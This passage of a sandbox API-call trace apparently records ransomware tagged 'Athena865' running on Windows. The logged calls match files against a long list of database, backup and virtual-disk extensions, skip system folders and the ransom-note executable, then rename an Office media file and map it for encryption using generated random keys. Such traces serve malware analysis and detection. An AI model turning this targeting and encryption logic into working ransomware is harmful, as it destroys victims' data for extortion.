(lpString1="27.WMF", lpString2="db-shm") returned -1 [0137.990] lstrlenW (lpString="db-wal") returned 6 [0137.990] lstrcmpiW (lpString1="27.WMF", lpString2="db-wal") returned -1 [0137.990] lstrlenW (lpString="dbc") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0137.990] lstrlenW (lpString="dbs") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0137.990] lstrlenW (lpString="dbt") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0137.990] lstrlenW (lpString="dbv") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0137.990] lstrlenW (lpString="dbx") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0137.990] lstrlenW (lpString="dcb") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0137.990] lstrlenW (lpString="dct") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0137.990] lstrlenW (lpString="dcx") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0137.990] lstrlenW (lpString="ddl") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0137.990] lstrlenW (lpString="dlis") returned 4 [0137.991] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0137.991] lstrlenW (lpString="dp1") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0137.991] lstrlenW (lpString="dqy") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0137.991] lstrlenW (lpString="dsk") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0137.991] lstrlenW (lpString="dsn") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0137.991] lstrlenW (lpString="dtsx") returned 4 [0137.991] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0137.991] lstrlenW (lpString="dxl") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0137.991] lstrlenW (lpString="eco") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0137.991] lstrlenW (lpString="ecx") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0137.991] lstrlenW (lpString="edb") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0137.991] lstrlenW (lpString="epim") returned 4 [0137.991] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0137.991] lstrlenW (lpString="fcd") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0137.991] lstrlenW (lpString="fdb") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0137.991] lstrlenW (lpString="fic") returned 3 [0137.991] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0137.991] lstrlenW (lpString="flexolibrary") returned 12 [0137.992] lstrlenW (lpString="fm5") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0137.992] lstrlenW (lpString="fmp") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0137.992] lstrlenW (lpString="fmp12") returned 5 [0137.992] lstrcmpiW (lpString1="7.WMF", lpString2="fmp12") returned -1 [0137.992] lstrlenW (lpString="fmpsl") returned 5 [0137.992] lstrcmpiW (lpString1="7.WMF", lpString2="fmpsl") returned -1 [0137.992] lstrlenW (lpString="fol") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0137.992] lstrlenW (lpString="fp3") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0137.992] lstrlenW (lpString="fp4") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0137.992] lstrlenW (lpString="fp5") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0137.992] lstrlenW (lpString="fp7") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0137.992] lstrlenW (lpString="fpt") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0137.992] lstrlenW (lpString="frm") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0137.992] lstrlenW (lpString="gdb") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0137.992] lstrlenW (lpString="gdb") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0137.992] lstrlenW (lpString="grdb") returned 4 [0137.992] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0137.992] lstrlenW (lpString="gwi") returned 3 [0137.992] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0137.993] lstrlenW (lpString="hdb") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0137.993] lstrlenW (lpString="his") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0137.993] lstrlenW (lpString="ib") returned 2 [0137.993] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0137.993] lstrlenW (lpString="idb") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0137.993] lstrlenW (lpString="ihx") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0137.993] lstrlenW (lpString="itdb") returned 4 [0137.993] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0137.993] lstrlenW (lpString="itw") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0137.993] lstrlenW (lpString="jet") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0137.993] lstrlenW (lpString="jtx") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0137.993] lstrlenW (lpString="kdb") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0137.993] lstrlenW (lpString="kexi") returned 4 [0137.993] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0137.993] lstrlenW (lpString="kexic") returned 5 [0137.993] lstrcmpiW (lpString1="7.WMF", lpString2="kexic") returned -1 [0137.993] lstrlenW (lpString="kexis") returned 5 [0137.993] lstrcmpiW (lpString1="7.WMF", lpString2="kexis") returned -1 [0137.993] lstrlenW (lpString="lgc") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0137.993] lstrlenW (lpString="lwx") returned 3 [0137.993] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0137.993] lstrlenW (lpString="maf") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0137.994] lstrlenW (lpString="maq") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0137.994] lstrlenW (lpString="mar") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0137.994] lstrlenW (lpString="marshal") returned 7 [0137.994] lstrcmpiW (lpString1="627.WMF", lpString2="marshal") returned -1 [0137.994] lstrlenW (lpString="mas") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0137.994] lstrlenW (lpString="mav") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0137.994] lstrlenW (lpString="maw") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0137.994] lstrlenW (lpString="mdbhtml") returned 7 [0137.994] lstrcmpiW (lpString1="627.WMF", lpString2="mdbhtml") returned -1 [0137.994] lstrlenW (lpString="mdn") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0137.994] lstrlenW (lpString="mdt") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0137.994] lstrlenW (lpString="mfd") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0137.994] lstrlenW (lpString="mpd") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0137.994] lstrlenW (lpString="mrg") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0137.994] lstrlenW (lpString="mud") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0137.994] lstrlenW (lpString="mwb") returned 3 [0137.994] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0137.995] lstrlenW (lpString="myd") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0137.995] lstrlenW (lpString="ndf") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0137.995] lstrlenW (lpString="nnt") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0137.995] lstrlenW (lpString="nrmlib") returned 6 [0137.995] lstrcmpiW (lpString1="27.WMF", lpString2="nrmlib") returned -1 [0137.995] lstrlenW (lpString="ns2") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0137.995] lstrlenW (lpString="ns3") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0137.995] lstrlenW (lpString="ns4") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0137.995] lstrlenW (lpString="nsf") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0137.995] lstrlenW (lpString="nv") returned 2 [0137.995] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0137.995] lstrlenW (lpString="nv2") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0137.995] lstrlenW (lpString="nwdb") returned 4 [0137.995] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0137.995] lstrlenW (lpString="nyf") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0137.995] lstrlenW (lpString="odb") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0137.995] lstrlenW (lpString="odb") returned 3 [0137.995] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0137.995] lstrlenW (lpString="oqy") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0137.996] lstrlenW (lpString="ora") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0137.996] lstrlenW (lpString="orx") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0137.996] lstrlenW (lpString="owc") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0137.996] lstrlenW (lpString="p96") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0137.996] lstrlenW (lpString="p97") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0137.996] lstrlenW (lpString="pan") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0137.996] lstrlenW (lpString="pdb") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0137.996] lstrlenW (lpString="pdm") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0137.996] lstrlenW (lpString="pnz") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0137.996] lstrlenW (lpString="qry") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0137.996] lstrlenW (lpString="qvd") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0137.996] lstrlenW (lpString="rbf") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0137.996] lstrlenW (lpString="rctd") returned 4 [0137.996] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0137.996] lstrlenW (lpString="rod") returned 3 [0137.996] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0137.997] lstrlenW (lpString="rodx") returned 4 [0137.997] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0137.997] lstrlenW (lpString="rpd") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0137.997] lstrlenW (lpString="rsd") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0137.997] lstrlenW (lpString="sas7bdat") returned 8 [0137.997] lstrcmpiW (lpString1="9627.WMF", lpString2="sas7bdat") returned -1 [0137.997] lstrlenW (lpString="sbf") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0137.997] lstrlenW (lpString="scx") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0137.997] lstrlenW (lpString="sdb") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0137.997] lstrlenW (lpString="sdc") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0137.997] lstrlenW (lpString="sdf") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0137.997] lstrlenW (lpString="sis") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0137.997] lstrlenW (lpString="spq") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0137.997] lstrlenW (lpString="te") returned 2 [0137.997] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0137.997] lstrlenW (lpString="teacher") returned 7 [0137.997] lstrcmpiW (lpString1="627.WMF", lpString2="teacher") returned -1 [0137.997] lstrlenW (lpString="tmd") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0137.997] lstrlenW (lpString="tps") returned 3 [0137.997] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0137.997] lstrlenW (lpString="trc") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0137.998] lstrlenW (lpString="trc") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0137.998] lstrlenW (lpString="trm") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0137.998] lstrlenW (lpString="udb") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0137.998] lstrlenW (lpString="udl") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0137.998] lstrlenW (lpString="usr") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0137.998] lstrlenW (lpString="v12") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0137.998] lstrlenW (lpString="vis") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0137.998] lstrlenW (lpString="vpd") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0137.998] lstrlenW (lpString="vvv") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0137.998] lstrlenW (lpString="wdb") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0137.998] lstrlenW (lpString="wmdb") returned 4 [0137.998] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0137.998] lstrlenW (lpString="wrk") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0137.998] lstrlenW (lpString="xdb") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0137.998] lstrlenW (lpString="xld") returned 3 [0137.998] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0137.999] lstrlenW (lpString="xmlff") returned 5 [0137.999] lstrcmpiW (lpString1="7.WMF", lpString2="xmlff") returned -1 [0137.999] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.Athena865") returned 71 [0137.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.athena865"), dwFlags=0x1) returned 1 [0138.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.003] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43018) returned 1 [0138.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.004] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.004] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.005] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.005] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab10, lpName=0x0) returned 0x154 [0138.009] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab10) returned 0x100000 [0138.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.015] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.015] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.016] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.016] CloseHandle (hObject=0x154) returned 1 [0138.016] CloseHandle (hObject=0x17c) returned 1 [0138.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.017] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="..") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="windows") returned -1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootmgr") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="temp") returned -1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="pagefile.sys") returned -1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="boot") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ids.txt") returned 1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ntuser.dat") returned -1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="perflogs") returned -1 [0138.017] lstrcmpiW (lpString1="J0149887.WMF", lpString2="MSBuild") returned -1 [0138.017] lstrlenW (lpString="J0149887.WMF") returned 12 [0138.017] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0149887.WMF" | out: lpString1="J0149887.WMF") returned="J0149887.WMF" [0138.017] lstrlenW (lpString="J0149887.WMF") returned 12 [0138.018] lstrlenW (lpString="Athena865") returned 9 [0138.018] lstrcmpiW (lpString1="49887.WMF", lpString2="Athena865") returned -1 [0138.018] lstrlenW (lpString=".dll") returned 4 [0138.018] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".dll") returned 1 [0138.018] lstrlenW (lpString=".lnk") returned 4 [0138.018] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".lnk") returned 1 [0138.018] lstrlenW (lpString=".ini") returned 4 [0138.018] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".ini") returned 1 [0138.018] lstrlenW (lpString=".sys") returned 4 [0138.018] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".sys") returned 1 [0138.018] lstrlenW (lpString="J0149887.WMF") returned 12 [0138.018] lstrlenW (lpString="bak") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.018] lstrlenW (lpString="ba_") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.018] lstrlenW (lpString="dbb") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.018] lstrlenW (lpString="vmdk") returned 4 [0138.018] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.018] lstrlenW (lpString="rar") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.018] lstrlenW (lpString="zip") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.018] lstrlenW (lpString="tgz") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.018] lstrlenW (lpString="vbox") returned 4 [0138.018] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.018] lstrlenW (lpString="vdi") returned 3 [0138.018] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.019] lstrlenW (lpString="vhd") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.019] lstrlenW (lpString="vhdx") returned 4 [0138.019] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.019] lstrlenW (lpString="avhd") returned 4 [0138.019] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.019] lstrlenW (lpString="db") returned 2 [0138.019] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.019] lstrlenW (lpString="db2") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.019] lstrlenW (lpString="db3") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.019] lstrlenW (lpString="dbf") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.019] lstrlenW (lpString="mdf") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.019] lstrlenW (lpString="mdb") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.019] lstrlenW (lpString="sql") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.019] lstrlenW (lpString="sqlite") returned 6 [0138.019] lstrcmpiW (lpString1="87.WMF", lpString2="sqlite") returned -1 [0138.019] lstrlenW (lpString="sqlite3") returned 7 [0138.019] lstrcmpiW (lpString1="887.WMF", lpString2="sqlite3") returned -1 [0138.019] lstrlenW (lpString="sqlitedb") returned 8 [0138.019] lstrcmpiW (lpString1="9887.WMF", lpString2="sqlitedb") returned -1 [0138.019] lstrlenW (lpString="xml") returned 3 [0138.019] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.020] lstrlenW (lpString="$er") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.020] lstrlenW (lpString="4dd") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.020] lstrlenW (lpString="4dl") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.020] lstrlenW (lpString="^^^") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.020] lstrlenW (lpString="abs") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.020] lstrlenW (lpString="abx") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.020] lstrlenW (lpString="accdb") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0138.020] lstrlenW (lpString="accdc") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0138.020] lstrlenW (lpString="accde") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0138.020] lstrlenW (lpString="accdr") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0138.020] lstrlenW (lpString="accdt") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0138.020] lstrlenW (lpString="accdw") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0138.020] lstrlenW (lpString="accft") returned 5 [0138.020] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0138.020] lstrlenW (lpString="adb") returned 3 [0138.020] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.020] lstrlenW (lpString="adb") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.021] lstrlenW (lpString="ade") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.021] lstrlenW (lpString="adf") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.021] lstrlenW (lpString="adn") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.021] lstrlenW (lpString="adp") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.021] lstrlenW (lpString="alf") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.021] lstrlenW (lpString="ask") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.021] lstrlenW (lpString="btr") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.021] lstrlenW (lpString="cat") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.021] lstrlenW (lpString="cdb") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", 